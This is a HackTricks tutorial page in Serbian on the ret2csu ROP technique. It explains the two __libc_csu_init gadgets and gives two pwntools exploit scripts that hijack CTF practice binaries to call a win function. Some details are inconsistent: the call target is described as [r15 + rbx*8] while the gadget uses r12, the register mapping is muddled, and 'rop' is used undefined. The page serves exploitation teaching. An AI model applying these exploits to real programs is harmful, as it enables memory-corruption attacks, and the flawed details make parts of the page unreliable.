Ret2csu

Support HackTricks

ret2csu je tehnika hakovanja koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete pronaći gadgets koje obično koristite za manipulaciju ponašanjem programa.

Kada program koristi određene biblioteke (kao što je libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju jedni s drugima. Među tim funkcijama su neki skriveni dragulji koji mogu delovati kao naši nedostajući gadgets, posebno jedan nazvan __libc_csu_init.

Magični Gadgets u __libc_csu_init

U __libc_csu_init, postoje dve sekvence instrukcija (gadgets) koje treba istaknuti:

  1. Prva sekvenca nam omogućava da postavimo vrednosti u nekoliko registara (rbx, rbp, r12, r13, r14, r15). Ovo su kao mesta gde možemo da čuvamo brojeve ili adrese koje želimo da koristimo kasnije.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Ovaj uređaj nam omogućava da kontrolišemo ove registre tako što izvlačimo vrednosti sa steka u njih.

  1. Druga sekvenca koristi vrednosti koje smo postavili da uradi nekoliko stvari:

  • Premesti specifične vrednosti u druge registre, pripremajući ih za korišćenje kao parametre u funkcijama.

  • Izvrši poziv na lokaciju određenu sabiranjem vrednosti u r15 i rbx, a zatim množenjem rbx sa 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Možda ne znate nijednu adresu na koju biste mogli da pišete i potrebna vam je ret instrukcija. Imajte na umu da će drugi gadget takođe završiti sa ret, ali ćete morati da ispunite neke uslove da biste do njega došli:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Uslovi će biti:

  • [r12 + rbx*8] mora da pokazuje na adresu koja čuva pozivnu funkciju (ako nemate ideju i nema pie, možete jednostavno koristiti funkciju _init):

  • Ako je _init na 0x400560, koristite GEF da pretražite pokazivač u memoriji ka njoj i postavite [r12 + rbx*8] na adresu sa pokazivačem ka _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp i rbx moraju imati istu vrednost da bi se izbegao skok

  • Postoje neki izostavljeni pops koje treba uzeti u obzir

RDI i RSI

Još jedan način da kontrolišete rdi i rsi iz ret2csu gadgeta je pristupanje specifičnim ofsetima:

Proverite ovu stranicu za više informacija:

BROP - Blind Return Oriented Programming

Primer

Koristeći poziv

Zamislite da želite da izvršite syscall ili pozovete funkciju kao što je write(), ali su vam potrebne specifične vrednosti u registrima rdx i rsi kao parametri. Obično biste tražili gadgete koji direktno postavljaju te registre, ali ne možete pronaći nijedan.

Evo gde ret2csu dolazi do izražaja:

  1. Postavite Registre: Koristite prvi magični gadget da izvučete vrednosti sa steka i smestite ih u rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.

  2. Koristite Drugi Gadget: Kada su ti registri postavljeni, koristite drugi gadget. Ovo vam omogućava da premestite izabrane vrednosti u rdx i rsi (iz r14 i r13, redom), pripremajući parametre za poziv funkcije. Štaviše, kontrolišući r15 i rbx, možete naterati program da pozove funkciju smeštenu na adresi koju izračunate i stavite u [r15 + rbx*8].

Imate primer koji koristi ovu tehniku i objašnjava je ovde, a ovo je konačni exploit koji je korišćen:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Napomena da prethodni exploit nije namenjen za RCE, već samo da pozove funkciju pod nazivom win (uzimajući adresu win iz stdin pozivajući gets u ROP lancu i čuvajući je u r15) sa trećim argumentom sa vrednošću 0xdeadbeefcafed00d.

Zaobilaženje poziva i dolazak do ret

Sledeći exploit je izvučen sa ove stranice gde se koristi ret2csu, ali umesto korišćenja poziva, zaobilazi poređenja i dolazi do ret nakon poziva:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Zašto ne koristiti libc direktno?

Obično su ovi slučajevi takođe ranjivi na ret2plt + ret2lib, ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, write() funkcija zahteva tri parametra, i pronaći gadgete za postavljanje svih ovih direktno možda neće biti moguće.

Last updated